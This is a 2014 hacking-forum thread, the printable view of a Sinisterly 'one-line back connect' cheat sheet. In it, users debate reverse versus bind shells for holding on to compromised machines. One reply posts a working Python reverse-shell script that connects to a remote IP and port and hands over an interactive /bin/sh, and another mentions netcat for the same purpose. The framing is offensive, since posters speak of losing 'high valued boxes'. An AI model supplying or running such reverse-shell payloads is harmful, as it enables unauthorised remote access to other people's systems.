![]() |
|
[CHEAT SHEET] One-line back connect - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Network Hacking (https://sinister.ly/Forum-Network-Hacking) +--- Thread: [CHEAT SHEET] One-line back connect (/Thread-CHEAT-SHEET-One-line-back-connect) Pages:
1
2
|
RE: [CHEAT SHEET] One-line back connect - Adorapuff - 06-23-2014 (06-23-2014, 02:53 AM)Kosaki Wrote: Isn't the entire point of back connecting to get a remote shell?????????????????????!!!!!!!!!! backconnecting is a reverse shell its not good for maintaining access. RE: [CHEAT SHEET] One-line back connect - Alan Turing - 06-23-2014 (06-23-2014, 02:55 AM)Adorapuff Wrote: backconnecting is a reverse shell its not good for maintaining access. If you get a shell on the box the first time, surely you'd be competent enough to get on a 2nd time no problem.. RE: [CHEAT SHEET] One-line back connect - Adorapuff - 06-23-2014 (06-23-2014, 02:56 AM)Kosaki Wrote: If you get a shell on the box the first time, surely you'd be competent enough to get on a 2nd time no problem..You'd be surprised at how many high valued boxes I lost because of reverse shells. RE: [CHEAT SHEET] One-line back connect - 3SidedSquare - 06-23-2014 Please put your code in [.code] tags, If you don't, the newline character gets coppied, and people will complain when it dosen't work. Also, python fixed up for python 3.x Code: import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
addr = ("10.0.0.1",1234)
s.connect(addr)
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])RE: [CHEAT SHEET] One-line back connect - superMAUS - 06-23-2014 (06-22-2014, 06:25 PM)Adorapuff Wrote: Backconnect is lame. Remote shell is better. Remote shell => Anyone can gain access to it whereas Backconnect is selective Remote shell => Often has to replace a running daemon, which makes its existence VERY noticeable. RE: [CHEAT SHEET] One-line back connect - joeroot - 07-10-2014 bc with nc lol , but your post is good for new members RE: [CHEAT SHEET] One-line back connect - havoc-parasite - 07-15-2014 I think what he means by remote shell is The original ..You connect to them BAckdoor...The opposite of Revearse connect Am I right ? ..Well that would be crap cos then you have to have UpnP code to forward & Open the port and if they don't have that then Your Fucked |